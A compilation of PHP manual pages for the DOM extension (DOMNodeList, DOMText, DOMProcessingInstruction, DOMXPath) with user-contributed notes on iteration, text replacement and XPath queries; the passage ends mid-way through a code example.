jeffpuckett2 at gmail dot com 15-Jun-2016 02:55
DOMNodelist::item can return a DOMElement object, which extends DOMNode class. But it can also return a DOMText object.

<?php
$xml = '
<root>
  <node/>
  <node>
    <sub>more</sub>
  </node>
  <node>
    <sub>another</sub>
  </node>
  <node>value</node>
</root>
';

$doc = new DOMDocument();
$doc->loadXML($xml);

$items = $doc->documentElement->childNodes;
for ($i = 0; $i < $items->length; $i++)
  echo get_class($items->item($i)).PHP_EOL;
?>

Results in this output:

DOMText
DOMElement
DOMText
DOMElement
DOMText
DOMElement
DOMText
DOMElement
DOMText
Anonymous 25-Jun-2012 11:36
calling domnodelist->item($i) with an index $i greater than domnodelist->length - 1 , will return the entire document, will not produce an error, and will not circle back to the start of the list.
Nagy Attila 06-Jan-2011 09:02
DOMNodeList::item does not return in constant time!

If you need to iterate over large nodelist then you'd better use standard navigation.

Instead of:

<?php
foreach ($nodelist as $node) {
    // do something
}
?>

you could do:

<?php
$node = $parentnode->firstChild;

do {
    // do something
} while ($node = $node->nextSibling);
?>
olivier dot berger at it-sudparis dot eu 21-Aug-2008 02:56
It seems that with zend.ze1_compatibility_mode on, the only way to iterate over the items list is with :
for ($i = 0; $i < $nodeList->length; ++$i) {
    $nodeName = $nodeList->item($i)->nodeName;
    $nodeValue = $nodeList->item($i)->nodeValue;
}

As other attemps failed :

for ($i = 0; $i < $nodeList->length; ++$i) {
    $node = &$nodeList->item($i);
    $nodeName = $node->nodeName;
    $nodeValue = $node->nodeValue;
}

or :
foreach ($nodeList as $node) {
    echo $node->nodeName;
    echo $node->nodeValue;
}
vinyanov at poczta dot onet dot pl 05-Jan-2008 10:12
SimpleXML has its own SPL iterator. See http://www.php.net/~helly/php/ext/spl/classSimpleXMLIterator.html . But I guess that there are none for DOM nodes. By the way, two out of three implementations I found over the Net were not recursive, so I wrote my own. Here is the snippet:

<?php

class DOMNodeListIterator implements RecursiveIterator
{
    private
        $nodes,
        $offset;

    function __construct(DOMNodeList $nodes)
    {
        return $this -> nodes = $nodes;
    }

    function rewind()
    {
        return $this -> offset = 0;
    }

    function current()
    {
        return $this -> nodes -> item($this -> offset);
    }

    function key()
    {
        return $this -> current() -> nodeName;
    }

    function next()
    {
        return $this -> offset++;
    }

    function valid()
    {
        return $this -> offset < $this -> nodes -> length;
    }

    function hasChildren()
    {
        return isset($this -> current() -> childNodes -> length) && $this -> current() -> childNodes -> length > 0;
    }

    function getChildren()
    {
        return new self($this -> current() -> childNodes);
    }
}

?>

Remember to use RecursiveIteratorIterator::SELF_FIRST flag when you create your iterator iterator.

<?php

$iterator = new DOMNodeListIterator($document -> childNodes);
$iterator = new RecursiveIteratorIterator($iterator, RecursiveIteratorIterator::SELF_FIRST);

?>

Should work, has just few minutes though. :)
Hayley Watson 29-Oct-2007 02:14
Keep in mind that DOMNodelists are "live" - changes to the document or node that the DOMNodelist was derived from will be reflected in the DOMNodelist. In other words, a list of a parent node's children will change if you change the parent's children!
james dot dunmore at gmai dot com 27-Jul-2007 08:57
tfg_allardyce at gmail dot com

I have had exactly this problem.

To rectify I've had to do this:
<?php
$old_element = $doc->getElementsByTagName('Element1')->item(0);
$new_element = $doc->createElement('NewElement1');

$old_element_childNodes = $old_element->childNodes;
$length = $old_element_childNodes->length;

for($i = 0; $i < $length; $i++)
{
    $oldChildren_array[] = $old_element_childNodes->item($i);
}

foreach($oldChildren_array as $old_c)
{
    $new_element->appendChild($old_c);
}
?>

Rather than this:
(which I will bug report)
<?php
$old_element = $doc->getElementsByTagName('Element1')->item(0):
$new_element = $doc->createElement('NewElement1');

foreach($old_element->childNode as $node)
{
     $new_element->appendChild($node);
}

?>

Using the latter, randomally removes the children!
Geoffrey Thubron 26-May-2007 02:47
@ tfg_allardyce at gmail dot com

You could loop through the list backwards, that way, you are only ever taking off the last item from the list, and hence wont have disrupted the order.
oliver dot christen at camptocamp dot com 13-Feb-2007 07:27
NodeList are something annoying because you can't output the content with a simple print_r, so I did a little function that add all the node to a new empty DOMDocument and output it as a string.
Have fun.

<?php

public function domNodeList_to_string($DomNodeList) {
    $output = '';
    $doc = new DOMDocument;
    while ( $node = $DomNodeList->item($i) ) {
        // import node
        $domNode = $doc->importNode($node, true);
        // append node
        $doc->appendChild($domNode);
        $i++;
    }
    $output = $doc->saveXML();
    $output = print_r($output, 1);
    // I added this because xml output and ajax do not like each others
    $output = htmlspecialchars($output);
    return $output;
}

?>


The DOMNotation class

(PHP 5, PHP 7)

类摘要

DOMNotation extends DOMNode {
/* 属性 */
readonly public string $publicId ;
readonly public string $systemId ;
/* 继承的属性 */
public readonly string $nodeName ;
public string $nodeValue ;
public readonly int $nodeType ;
public readonly DOMNode $parentNode ;
public readonly DOMNodeList $childNodes ;
public readonly DOMNode $firstChild ;
public readonly DOMNode $lastChild ;
public readonly DOMNode $previousSibling ;
public readonly DOMNode $nextSibling ;
public readonly DOMNamedNodeMap $attributes ;
public readonly DOMDocument $ownerDocument ;
public readonly string $namespaceURI ;
public string $prefix ;
public readonly string $localName ;
public readonly string $baseURI ;
public string $textContent ;
/* 继承的方法 */
public DOMNode::appendChild ( DOMNode $newnode ) : DOMNode
public DOMNode::C14N ([ bool $exclusive [, bool $with_comments [, array $xpath [, array $ns_prefixes ]]]] ) : string
public DOMNode::C14NFile ( string $uri [, bool $exclusive = FALSE [, bool $with_comments = FALSE [, array $xpath [, array $ns_prefixes ]]]] ) : int
public DOMNode::cloneNode ([ bool $deep ] ) : DOMNode
public DOMNode::getLineNo ( void ) : int
public DOMNode::getNodePath ( void ) : string
public DOMNode::hasAttributes ( void ) : bool
public DOMNode::hasChildNodes ( void ) : bool
public DOMNode::insertBefore ( DOMNode $newnode [, DOMNode $refnode ] ) : DOMNode
public DOMNode::isDefaultNamespace ( string $namespaceURI ) : bool
public DOMNode::isSameNode ( DOMNode $node ) : bool
public DOMNode::isSupported ( string $feature , string $version ) : bool
public DOMNode::lookupNamespaceUri ( string $prefix ) : string
public DOMNode::lookupPrefix ( string $namespaceURI ) : string
public DOMNode::normalize ( void ) : void
public DOMNode::removeChild ( DOMNode $oldnode ) : DOMNode
public DOMNode::replaceChild ( DOMNode $newnode , DOMNode $oldnode ) : DOMNode
}

属性

publicId

systemId

User Contributed Notes

There are no user contributed notes for this page.


The DOMProcessingInstruction class

(PHP 5, PHP 7)

类摘要

DOMProcessingInstruction extends DOMNode {
/* 属性 */
readonly public string $target ;
public string $data ;
/* 继承的属性 */
public readonly string $nodeName ;
public string $nodeValue ;
public readonly int $nodeType ;
public readonly DOMNode $parentNode ;
public readonly DOMNodeList $childNodes ;
public readonly DOMNode $firstChild ;
public readonly DOMNode $lastChild ;
public readonly DOMNode $previousSibling ;
public readonly DOMNode $nextSibling ;
public readonly DOMNamedNodeMap $attributes ;
public readonly DOMDocument $ownerDocument ;
public readonly string $namespaceURI ;
public string $prefix ;
public readonly string $localName ;
public readonly string $baseURI ;
public string $textContent ;
/* 方法 */
public __construct ( string $name [, string $value ] )
/* 继承的方法 */
public DOMNode::appendChild ( DOMNode $newnode ) : DOMNode
public DOMNode::C14N ([ bool $exclusive [, bool $with_comments [, array $xpath [, array $ns_prefixes ]]]] ) : string
public DOMNode::C14NFile ( string $uri [, bool $exclusive = FALSE [, bool $with_comments = FALSE [, array $xpath [, array $ns_prefixes ]]]] ) : int
public DOMNode::cloneNode ([ bool $deep ] ) : DOMNode
public DOMNode::getLineNo ( void ) : int
public DOMNode::getNodePath ( void ) : string
public DOMNode::hasAttributes ( void ) : bool
public DOMNode::hasChildNodes ( void ) : bool
public DOMNode::insertBefore ( DOMNode $newnode [, DOMNode $refnode ] ) : DOMNode
public DOMNode::isDefaultNamespace ( string $namespaceURI ) : bool
public DOMNode::isSameNode ( DOMNode $node ) : bool
public DOMNode::isSupported ( string $feature , string $version ) : bool
public DOMNode::lookupNamespaceUri ( string $prefix ) : string
public DOMNode::lookupPrefix ( string $namespaceURI ) : string
public DOMNode::normalize ( void ) : void
public DOMNode::removeChild ( DOMNode $oldnode ) : DOMNode
public DOMNode::replaceChild ( DOMNode $newnode , DOMNode $oldnode ) : DOMNode
}

属性

target

data

Table of Contents

  • DOMProcessingInstruction::__construct — Creates a new DOMProcessingInstruction object

User Contributed Notes

There are no user contributed notes for this page.


Creates a new DOMProcessingInstruction object

  • ? DOMProcessingInstruction
  • DOMText ?
  • PHP Manual
  • DOMProcessingInstruction
  • Creates a new DOMProcessingInstruction object

DOMProcessingInstruction::__construct

(PHP 5, PHP 7)

DOMProcessingInstruction::__construct — Creates a new DOMProcessingInstruction object

说明

public DOMProcessingInstruction::__construct ( string $name [, string $value ] )

Creates a new DOMProcessingInstruction object. This object is read only. It may be appended to a document, but additional nodes may not be appended to this node until the node is associated with a document. To create a writeable node, use DOMDocument::createProcessingInstruction.

参数

name

The tag name of the processing instruction.

value

The value of the processing instruction.

范例

Example #1 Creating a new DOMProcessingInstruction object

<?php

$dom = new DOMDocument('1.0', 'UTF-8');
$html = $dom->appendChild(new DOMElement('html'));
$body = $html->appendChild(new DOMElement('body'));
$pinode = new DOMProcessingInstruction('php', 'echo "Hello World"; ');
$body->appendChild($pinode);
echo $dom->saveXML();

?>

以上例程会输出：

<?xml version="1.0" encoding="UTF-8"?>
<html><body><?php echo "Hello World"; ?></body></html>

参见

  • DOMDocument::createProcessingInstruction() - Creates new PI node

User Contributed Notes

There are no user contributed notes for this page.


The DOMText class

(PHP 5, PHP 7)

简介

The DOMText class inherits from DOMCharacterData and represents the textual content of a DOMElement or DOMAttr.

类摘要

DOMText extends DOMCharacterData {
/* 属性 */
readonly public string $wholeText ;
/* 继承的属性 */
public string $data ;
readonly public int $length ;
public readonly string $nodeName ;
public string $nodeValue ;
public readonly int $nodeType ;
public readonly DOMNode $parentNode ;
public readonly DOMNodeList $childNodes ;
public readonly DOMNode $firstChild ;
public readonly DOMNode $lastChild ;
public readonly DOMNode $previousSibling ;
public readonly DOMNode $nextSibling ;
public readonly DOMNamedNodeMap $attributes ;
public readonly DOMDocument $ownerDocument ;
public readonly string $namespaceURI ;
public string $prefix ;
public readonly string $localName ;
public readonly string $baseURI ;
public string $textContent ;
/* 方法 */
public __construct ([ string $value ] )
public isElementContentWhitespace ( void ) : bool
public isWhitespaceInElementContent ( void ) : bool
public splitText ( int $offset ) : DOMText
/* 继承的方法 */
public DOMCharacterData::appendData ( string $data ) : void
public DOMCharacterData::deleteData ( int $offset , int $count ) : void
public DOMCharacterData::insertData ( int $offset , string $data ) : void
public DOMCharacterData::replaceData ( int $offset , int $count , string $data ) : void
public DOMCharacterData::substringData ( int $offset , int $count ) : string
public DOMNode::appendChild ( DOMNode $newnode ) : DOMNode
public DOMNode::C14N ([ bool $exclusive [, bool $with_comments [, array $xpath [, array $ns_prefixes ]]]] ) : string
public DOMNode::C14NFile ( string $uri [, bool $exclusive = FALSE [, bool $with_comments = FALSE [, array $xpath [, array $ns_prefixes ]]]] ) : int
public DOMNode::cloneNode ([ bool $deep ] ) : DOMNode
public DOMNode::getLineNo ( void ) : int
public DOMNode::getNodePath ( void ) : string
public DOMNode::hasAttributes ( void ) : bool
public DOMNode::hasChildNodes ( void ) : bool
public DOMNode::insertBefore ( DOMNode $newnode [, DOMNode $refnode ] ) : DOMNode
public DOMNode::isDefaultNamespace ( string $namespaceURI ) : bool
public DOMNode::isSameNode ( DOMNode $node ) : bool
public DOMNode::isSupported ( string $feature , string $version ) : bool
public DOMNode::lookupNamespaceUri ( string $prefix ) : string
public DOMNode::lookupPrefix ( string $namespaceURI ) : string
public DOMNode::normalize ( void ) : void
public DOMNode::removeChild ( DOMNode $oldnode ) : DOMNode
public DOMNode::replaceChild ( DOMNode $newnode , DOMNode $oldnode ) : DOMNode
}

属性

wholeText

Holds all the text of logically-adjacent (not separated by Element, Comment or Processing Instruction) Text nodes.

Table of Contents

  • DOMText::__construct — Creates a new DOMText object
  • DOMText::isElementContentWhitespace — Returns whether this text node contains whitespace in element content
  • DOMText::isWhitespaceInElementContent — Indicates whether this text node contains whitespace
  • DOMText::splitText — Breaks this node into two nodes at the specified offset

User Contributed Notes

Trititaty 20-Oct-2016 11:47
Text replacement function for DOM.

<?php
function domTextReplace( $search, $replace, DOMNode &$domNode, $isRegEx = false ) {
  if ( $domNode->hasChildNodes() ) {
    $children = array();
    // since looping through a DOM being modified is a bad idea we prepare an array:
    foreach ( $domNode->childNodes as $child ) {
      $children[] = $child;
    }
    foreach ( $children as $child ) {
      if ( $child->nodeType === XML_TEXT_NODE ) {
        $oldText = $child->wholeText;
        if ( $isRegEx ) {
          $newText = preg_replace( $search, $replace, $oldText );
        } else {
          $newText = str_replace( $search, $replace, $oldText );
        }
        $newTextNode = $domNode->ownerDocument->createTextNode( $newText );
        $domNode->replaceChild( $newTextNode, $child );
      } else {
        domTextReplace( $search, $replace, $child, $isRegEx );
      }
    }
  }
}


Creates a new DOMText object

  • ? DOMText
  • DOMText::isElementContentWhitespace ?
  • PHP Manual
  • DOMText
  • Creates a new DOMText object

DOMText::__construct

(PHP 5, PHP 7)

DOMText::__construct — Creates a new DOMText object

说明

public DOMText::__construct ([ string $value ] )

Creates a new DOMText object.

参数

value

The value of the text node. If not supplied an empty text node is created.

范例

Example #1 Creating a new DOMText

<?php

$dom = new DOMDocument('1.0', 'iso-8859-1');
$element = $dom->appendChild(new DOMElement('root'));
$text = $element->appendChild(new DOMText('root value'));
echo $dom->saveXML(); /* <?xml version="1.0" encoding="iso-8859-1"?><root>root value</root> */

?>

参见

  • DOMDocument::createTextNode() - Create new text node

User Contributed Notes

Thomas 27-Apr-2012 01:54
I experinced that DOMText, given a integer as only value to the constructor failed to return valid data. I had to typecast the input to a string first:

$intValue = 3252; // Post/Zip-code
$some_element->appendChild( new DOMText( (string) $intValue) );

When not typecasting using "(string)" the XML output from $root->saveXML() would not validate.


Returns whether this text node contains whitespace in element content

  • ? DOMText::__construct
  • DOMText::isWhitespaceInElementContent ?
  • PHP Manual
  • DOMText
  • Returns whether this text node contains whitespace in element content

DOMText::isElementContentWhitespace

(No version information available, might only be in Git)

DOMText::isElementContentWhitespace — Returns whether this text node contains whitespace in element content

说明

public DOMText::isElementContentWhitespace ( void ) : bool

参数

此函数没有参数。

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

User Contributed Notes

riking 28-Jun-2018 12:17
This is the recommended (W3C) function name for the equivalent:
http://php.net/manual/en/domtext.iswhitespaceinelementcontent.php

See there for additional notes.


Indicates whether this text node contains whitespace

  • ? DOMText::isElementContentWhitespace
  • DOMText::splitText ?
  • PHP Manual
  • DOMText
  • Indicates whether this text node contains whitespace

DOMText::isWhitespaceInElementContent

(PHP 5, PHP 7)

DOMText::isWhitespaceInElementContent — Indicates whether this text node contains whitespace

说明

public DOMText::isWhitespaceInElementContent ( void ) : bool

Indicates whether this text node contains only whitespace or it is empty. The text node is determined to contain whitespace in element content during the load of the document.

返回值

Returns TRUE if node contains zero or more whitespace characters and nothing else. Returns FALSE otherwise.

User Contributed Notes

JITR 07-Jul-2007 03:36
To add to `permidion at yahoo dot com''s comment:

Quite true. According to DOM Level 3 Core, the `isWhitespaceInElementContent()' method indicates, whether the node contains `whitespace in element content' (or `element content whitespace' according to the newer spec), see [1].

Btw, it seems the `isWhitespaceInElementContent()' method was replaced with the `isElementContentWhitespace' attribute in the current W3C recommendation, see [2].

I have the feeling, though, it would be more precise with the word `only' added, like: `... indicates, whether the node contains *only* element content whitespace.' This would better correspond with the fact the result is false, when there are any non-whitespace characters present (in addition to the whitespace ones), as already noted.

[1] (please concatenate the following two lines)
http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html
#core-Text3-isWhitespaceInElementContent
[2] (please concatenate the following two lines)
http://www.w3.org/TR/DOM-Level-3-Core/core.html
#Text3-isElementContentWhitespace
permidion at yahoo dot com 28-Oct-2004 08:30
if you have an xml element such as <name>Foo Bar</name> (note the space), isWhitespaceInElementContent will return false.
However it will return true for <name><name> or <name/>
so, that function can be used to determine if the element has a text content or not


Breaks this node into two nodes at the specified offset

  • ? DOMText::isWhitespaceInElementContent
  • DOMXPath ?
  • PHP Manual
  • DOMText
  • Breaks this node into two nodes at the specified offset

DOMText::splitText

(PHP 5, PHP 7)

DOMText::splitText — Breaks this node into two nodes at the specified offset

说明

public DOMText::splitText ( int $offset ) : DOMText

Breaks this node into two nodes at the specified offset, keeping both in the tree as siblings.

After being split, this node will contain all the content up to the offset. If the original node had a parent node, the new node is inserted as the next sibling of the original node. When the offset is equal to the length of this node, the new node has no data.

参数

offset

The offset at which to split, starting from 0.

返回值

The new node of the same type, which contains all the content at and after the offset.

User Contributed Notes

Flix Cloutier 28-Oct-2013 05:31
It should be noted that $offset is a **character offset**, not a **byte offset**. This means that most other PHP string functions that deal with lengths and offsets (strlen, strpos, preg_match with PREG_OFFSET_CAPTURE, etc.) use and return values unsuitable for this method if used with multibyte strings (like UTF-8 strings).

Byte offsets can be converted to character offsets with mb_strlen:

<?php
function char_offset($string, $byte_offset, $encoding = null)
{
    $substr = substr($string, 0, $byte_offset);
    return mb_strlen($substr, $encoding ?: mb_internal_encoding());
}
?>


The DOMXPath class

(PHP 5, PHP 7)

简介

Supports XPath 1.0

类摘要

DOMXPath {
/* 属性 */
public DOMDocument $document ;
/* 方法 */
public __construct ( DOMDocument $doc )
public evaluate ( string $expression [, DOMNode $contextnode [, bool $registerNodeNS = TRUE ]] ) : mixed
public query ( string $expression [, DOMNode $contextnode [, bool $registerNodeNS = TRUE ]] ) : DOMNodeList
public registerNamespace ( string $prefix , string $namespaceURI ) : bool
public registerPhpFunctions ([ mixed $restrict ] ) : void
}

属性

document

Table of Contents

  • DOMXPath::__construct — Creates a new DOMXPath object
  • DOMXPath::evaluate — Evaluates the given XPath expression and returns a typed result if possible
  • DOMXPath::query — Evaluates the given XPath expression
  • DOMXPath::registerNamespace — Registers the namespace with the DOMXPath object
  • DOMXPath::registerPhpFunctions — Register PHP functions as XPath functions

User Contributed Notes

peter at softcoded dot com 03-May-2017 05:51
You may not always know at runtime whether your file has
a namespace or not. This can make it difficult to create
XPath queries. Use the seriously underdocumented
"namespaceURI" property of the documentElement of a
DOMDocument to determine if there is a namespace.
Use code such as the following:

$doc = new DOMDocument();
$doc->load($file);
$xpath = new DOMXPath($doc);
$ns = $doc->documentElement->namespaceURI;
if($ns) {
  $xpath->registerNamespace("ns", $ns);
  $nodes = $xpath->query("//ns:em[@class='glossterm']");
} else {
  $nodes = $xpath->query("//em[@class='glossterm']");
}
//look at nodes here
peter at softcoded dot com 03-May-2017 04:46
Using XPath expressions can save a lot of programming
and allow you to home in on only the nodes you want.
Suppose you want to delete all empty <p> tags.
If you create a query using the following XPath expression,
you can find <p> tags that do not have any text
(other than spaces), any attributes,
any children or comments:

$expression = "//p[not(@*)
   and not(*)
   and not(./comment())
   and normalize-space(text())='']";

This expression will only find para tags that look like:

<p>[any number of spaces]</p>
<p></p>

Imagine the code you would have to add if you used
DOMDocument::getElementsByTagName("p") instead.
archimedix32783262 at mailinator dot com 03-Sep-2014 12:03
Note that evaluate() will use the same encoding as the XML document.

So if you have a UTF-16 XML, you will have to query using UTF-16 strings.

You can use iconv() to convert from your code's encoding to the target encoding for better legibility.
dhz 05-Jan-2011 10:47
I just spent far too much time chasing this one....

When running an xpath query on a table be careful about table internal nodes (ie: <tr></tr>, and <td></td>).  If the master <table> tag is missing, then query() (and likely evaluate() also) will return unexpected results.

I had a DOMNode with a structure like this:

<td>
    <table></table>
    <table>
        <tr>
            <td></td>
        </tr>
        <tr>
            <td></td>
            <td></td>
        </tr>
    </table>
</td>

Upon which I was trying to do a relative query (ie: <?php $xpath_obj->query('my/x/path', $relative_node); ?>).

But because of the lone outer <td></td> tags, the inner tags were being invalidated, while the nodes were still recognized.  Meaning that the following query would work:

<?php $xpath_obj->query('*[2]/*[*[2]]', $relative_node); ?>

But when replacing any of the "*" tokens with the corresponding (and valid) "table", "tr", or "td" tokens the query would inexplicably break.
david at lionhead dot nl 11-Aug-2009 06:33
When using DOMXPath and having a default namespace. Consider using an intermediate function to add the default namespace to all queries:

<?php
// The default namespace: x:xmlns="http://..."
$path="/Book/Title";
$path=preg_replace("\/([a-zA-Z])","/x:$1",$path);

// Result: /x:Book/x:Title
?>
Mark Omohundro, ajamyajax dot com 14-Dec-2008 09:15
<?php
// to retrieve selected html data, try these DomXPath examples:

$file = $DOCUMENT_ROOT. "test.html";
$doc = new DOMDocument();
$doc->loadHTMLFile($file);

$xpath = new DOMXpath($doc);

// example 1: for everything with an id
//$elements = $xpath->query("//*[@id]");

// example 2: for node data in a selected id
//$elements = $xpath->query("/html/body/div[@id='yourTagIdHere']");

// example 3: same as above with wildcard
$elements = $xpath->query("*/div[@id='yourTagIdHere']");

if (!is_null($elements)) {
  foreach ($elements as $element) {
    echo "<br/>[". $element->nodeName. "]";

    $nodes = $element->childNodes;
    foreach ($nodes as $node) {
      echo $node->nodeValue. "\n";
    }
  }
}
?>


Creates a new DOMXPath object

  • ? DOMXPath
  • DOMXPath::evaluate ?
  • PHP Manual
  • DOMXPath
  • Creates a new DOMXPath object

DOMXPath::__construct

(PHP 5, PHP 7)

DOMXPath::__construct — Creates a new DOMXPath object

说明

public DOMXPath::__construct ( DOMDocument $doc )

Creates a new DOMXPath object.

参数

doc

The DOMDocument associated with the DOMXPath.

User Contributed Notes

thsoft at vipmail dot hu 04-Jul-2007 04:57
As of PHP 5.2.0, DOMXPath object implements XPath 1.0.
Saulo Vallory 26-Jun-2007 03:23
The DOMXPath object doesn't create a reference to the document. If you load a new xml using either load, loadXML or loadHTML functions the DOMXPath object will still query and evaluate over the source in the DOMDocument when it was created.


Evaluates the given XPath expression and returns a typed result if possible

  • ? DOMXPath::__construct
  • DOMXPath::query ?
  • PHP Manual
  • DOMXPath
  • Evaluates the given XPath expression and returns a typed result if possible

DOMXPath::evaluate

(PHP 5 >= 5.1.0, PHP 7)

DOMXPath::evaluate — Evaluates the given XPath expression and returns a typed result if possible

说明

public DOMXPath::evaluate ( string $expression [, DOMNode $contextnode [, bool $registerNodeNS = TRUE ]] ) : mixed

Executes the given XPath expression and returns a typed result if possible.

参数

expression

The XPath expression to execute.

contextnode

The optional contextnode can be specified for doing relative XPath queries. By default, the queries are relative to the root element.

registerNodeNS

The optional registerNodeNS can be specified to disable automatic registration of the context node.

返回值

Returns a typed result if possible or a DOMNodeList containing all nodes matching the given XPath expression.

If the expression is malformed or the contextnode is invalid, DOMXPath::evaluate() returns FALSE.

更新日志

版本 | 说明
5.3.3 | The registerNodeNS parameter was added.

范例

Example #1 Getting the count of all the english books

<?php

$doc = new DOMDocument;

$doc->load('book.xml');

$xpath = new DOMXPath($doc);

$tbody = $doc->getElementsByTagName('tbody')->item(0);

// our query is relative to the tbody node
$query = 'count(row/entry[. = "en"])';

$entries = $xpath->evaluate($query, $tbody);
echo "There are $entries english books\n";

?>

以上例程会输出：

There are 2 english books

参见

  • DOMXPath::query() - Evaluates the given XPath expression

User Contributed Notes

aazaharov81 at gmail dot com 14-Jan-2015 12:48
To query DOMNodes by their HTML classes, use such snippet
<?php

// CssClassXPathSelector
function ccxs($class) {
    return '[contains(concat(" ", normalize-space(@class), " "), " ' . $class . ' ")]';
}

 // then just
 $domitems = $this->xpath("//*[@id='searchResultsRows']//a" . ccxs('listing_row'));
?>
daniel at danielnorton dot com 25-Jun-2011 09:56
Note that this method does not provide any means to distinguish between a successful result that returns FALSE and an error.

For example, this will succeed and return FALSE:

<?php $xpath->evaluate("1 = 0"); ?>

One workaround when you know you are expecting a Boolean is to wrap the result with string(). e.g.

<?php $xpath->evaluate("string(1 = 0)"); ?>

This will return a string "false" on success, or the Boolean FALSE on error.
Damien Bezborodov 28-Mar-2011 06:13
If your expression returns a node set, you will get a DOMNodeList instead of a typed result. Instead, try modifying your expression from "//node[1]" to "string(//node[1])".
yuriucsal at NOSPAM dot yahoo dot com dot br 06-Mar-2005 12:55
this class can substitute the method evaluate while it is not validated. Made for Yuri Bastos and Jo?o Gilberto Magalh?es.

<?php

    class XPtahQuery
    {
        // function returns a DOMNodeList from a relative xPath
        public static function selectNodes($pNode, $xPath)
        {

            $pos = strpos(self::getFullXpath($pNode),"/",1);
            $xPathQuery = substr(self::getFullXpath($pNode),$pos);//to paste  /#document[1]/
            $xPathQueryFull = $xPathQuery. $xPath;
            $domXPath = new DOMXPath($pNode->ownerDocument);
            $rNodeList = $domXPath->query($xPathQueryFull);

                return $rNodeList;
        }
        // function returns a DOMNode from a xPath from other DOMNode
        public static function selectSingleNode($pNode, $xPath)
        {

            $pos = strpos(self::getFullXpath($pNode),"/",1);
            $xPathQuery = substr(self::getFullXpath($pNode),$pos);//to paste  /#document[1]/
            $xPathQueryFull = $xPathQuery. $xPath;
            $domXPath = new DOMXPath($pNode->ownerDocument);
            $rNode = $domXPath->query($xPathQueryFull)->item(0);

                return $rNode;
        }
        //utilitaries functions off selectSingleNode
        private function getNodePos($pNode, $nodeName)
        {
            if($pNode == null)
                {
                        return 0;
            }
            else
            {
                $var = 0;
                    if ($pNode->previousSibling != null)
                    {
                    if ($pNode->previousSibling->nodeName == $nodeName)
                    {
                        $var = 1;
                    }
                    }
                    return self::getNodePos($pNode->previousSibling, $nodeName) + $var;
            }
        }
        //utilitaries functions off selectSingleNode
        private function getFullXpath($pNode)
        {
            if($pNode == null)
                {
                        return "";
            }
            else
            {

                return self::getFullXpath($pNode->parentNode) . "/" . $pNode->nodeName . "[" .strval(self::getNodePos($pNode, $pNode->nodeName)+1) . "]";//+1 to get the real xPath index

            }
        }
    }
?>


Evaluates the given XPath expression

  • ? DOMXPath::evaluate
  • DOMXPath::registerNamespace ?
  • PHP Manual
  • DOMXPath
  • Evaluates the given XPath expression

DOMXPath::query

(PHP 5, PHP 7)

DOMXPath::query — Evaluates the given XPath expression

说明

public DOMXPath::query ( string $expression [, DOMNode $contextnode [, bool $registerNodeNS = TRUE ]] ) : DOMNodeList

Executes the given XPath expression.

参数

expression

The XPath expression to execute.

contextnode

The optional contextnode can be specified for doing relative XPath queries. By default, the queries are relative to the root element.

registerNodeNS

The optional registerNodeNS can be specified to disable automatic registration of the context node.

返回值

Returns a DOMNodeList containing all nodes matching the given XPath expression. Any expression which does not return nodes will return an empty DOMNodeList.

If the expression is malformed or the contextnode is invalid, DOMXPath::query() returns FALSE.

更新日志

版本 | 说明
5.3.3 | The registerNodeNS parameter was added.

范例

Example #1 Getting all the english books

<?php

$doc = new DOMDocument;

// We don't want to bother with white spaces
$doc->preserveWhiteSpace = false;

$doc->load('book.xml');

$xpath = new DOMXPath($doc);

// We starts from the root element
$query = '//book/chapter/para/informaltable/tgroup/tbody/row/entry[. = "en"]';

$entries = $xpath->query($query);

foreach ($entries as $entry) {
    echo "Found {$entry->previousSibling->previousSibling->nodeValue}," .
         " by {$entry->previousSibling->nodeValue}\n";
}
?>

以上例程会输出：

Found The Grapes of Wrath, by John Steinbeck
Found The Pearl, by John Steinbeck

We can also use the contextnode parameter to shorten our expression:

<?php

$doc = new DOMDocument;
$doc->preserveWhiteSpace = false;

$doc->load('book.xml');

$xpath = new DOMXPath($doc);

$tbody = $doc->getElementsByTagName('tbody')->item(0);

// our query is relative to the tbody node
$query = 'row/entry[. = "en"]';

$entries = $xpath->query($query, $tbody);

foreach ($entries as $entry) {
    echo "Found {$entry->previousSibling->previousSibling->nodeValue}," .
         " by {$entry->previousSibling->nodeValue}\n";
}
?>

参见

  • DOMXPath::evaluate() - Evaluates the given XPath expression and returns a typed result if possible

User Contributed Notes

chris dot russo99 at gmail dot com 17-Aug-2016 03:58
If you can't find a solution for PHP XPATH case sensitivity, you can always try this approach:

http://fsockopen.com/php-programming/your-final-stop-for-php-xpath-case-insensitive

Instead of inserting PHP functions into a XPATH object, convert the XPATH object into an Array(), and then use any PHP function, the regular way.
ikmahesh at cdac dot in 08-Jul-2015 09:29
The parameters for $xPath->query() method is case sensitive.
It matches IDs exact words.
RiKdnUa at mail dot ru 17-Sep-2013 04:26
Пример XPath запроса к XML документу. XML документ содержить элементы с именами из НЕлатинских символов (кириллица). При использовании в XPath запросе предиката, функция DOMXPath::query() выдает предупреждение и запрос не работает. Чтобы запрос работал, надо явно указывать ось. Файл этого примера должен быть в кодировке WINDOWS-1251. Тестировал в PHP 5.2.9-2 и PHP 5.2.17

Example XPath-query to the XML-document. XML-document contains an elements with the names of non-Latin characters (cyrillic). When used predicate in XPath-query, function DOMXPath::query() gives a warning and query does not work. In order to earned the query, it is necessary to explicitly specify the axis. The file of this example is to be in the encoding WINDOWS-1251. Tested in PHP 5.2.9-2 and PHP 5.2.17
<?php
ini_set("display_errors","on");
error_reporting(-1);
function utf8encode($str){return iconv('WINDOWS-1251', 'UTF-8', $str);}
$xml="<?xml version='1.0' encoding='WINDOWS-1251'?>
<часть>
<ссылка href='yandex.com'>Яндекс</ссылка>
<ссылка href='rik.dn.ua/fotopan.php'>г.Донецк</ссылка>
</часть>
";
$document=new domDocument();
$document->preserveWhiteSpace=false;
$document->loadXML($xml);
$domxpath=new domXpath($document);
$list=$domxpath->query(utf8encode('/child::часть/child::ссылка'));//Ok
echo '$list->length='.$list->length."\n<br/>\n";
$list=$domxpath->query(utf8encode('/часть/ссылка'));//Ok
echo '$list->length='.$list->length."\n<br/>\n";
$list=$domxpath->query(utf8encode('/child::часть/child::ссылка[position()=1]'));//Ok
echo '$list->length='.$list->length."\n<br/>\n";
$list=$domxpath->query(utf8encode('/часть/ссылка[1]'));//Warning: DOMXPath::query() [domxpath.query]: Invalid expression in ...
echo '$list->length='.$list->length."\n<br/>\n";
$list=$domxpath->query(utf8encode('/часть/ссылка[position()=1]'));//Warning: DOMXPath::query() [domxpath.query]: Invalid expression in ...
